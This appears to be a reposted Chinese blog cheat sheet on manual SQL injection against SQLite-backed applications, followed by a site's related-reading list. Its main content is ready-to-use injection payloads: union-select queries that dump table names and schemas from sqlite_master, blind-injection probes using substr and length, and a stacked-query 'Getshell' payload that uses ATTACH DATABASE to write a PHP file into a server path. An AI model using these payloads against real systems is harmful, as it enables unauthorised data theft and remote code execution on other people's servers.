• SQLite手工注入方法小结


    SQLite 官网下载:www.sqlite.org/download.html

    sqlite管理工具:http://www.yunqa.de/delphi/products/sqlitespy/index

    sqlite_master隐藏表,具体内容如下:

    字段:type/name/tbl_name/rootpage/sql

     sqlite注入测试:

     1、Union select 查询

    select * from test where id =1 and 1=2 union select name,sql from sqlite_master

     

    2、盲注

    select * from test where id =1 union select 1,length(sqlite_version())=6    //得到sqlite版本位数

    select * from test where id =1 and substr(sqlite_version(),1,1)='3'            //得到sqlite版本首位为3

    select * from test where id =1 and substr((select name from sqlite_master where type='table' limit 0,1),1,1)='T'  (大小写区分,有差别)  //得到sqlite表名第一位为T

     3、Getshell

    select * from test where id =1 ;ATTACH DATABASE 'C:\Sqlite\xiaozi.php' AS pwn ; CREATE TABLE pwn.exp (dataz text) ; INSERT INTO pwn.exp (dataz) VALUES (' <?php phpinfo(); ?> '); --

    最后

    欢迎关注个人微信公众号:Bypass--,每周一篇原创高质量的干货。 

     

    参考链接:

    Win7下SQLite安装配置与使用方法详解:http://www.codeceo.com/article/win7-sqlite-usage.html

    Windows下安装配置SQLite和使用的教程:http://www.weste.net/2014/10-08/99347.html

  • 相关阅读:
    【结构型】Proxy模式
    【结构型】Flyweight模式
    【结构型】Facade模式
    【结构型】Decorate模式
    【结构型】Composite模式
    适配器模式 -- 大话设计模式
    状态模式 -- 大话设计模式
    抽象工厂模式 -- 大话设计模式
    建造者模式 -- 大话设计模式
    观察者模式 -- 大话设计模式
  • 原文地址:https://www.cnblogs.com/xiaozi/p/5760321.html
Copyright © 2020-2023  润新知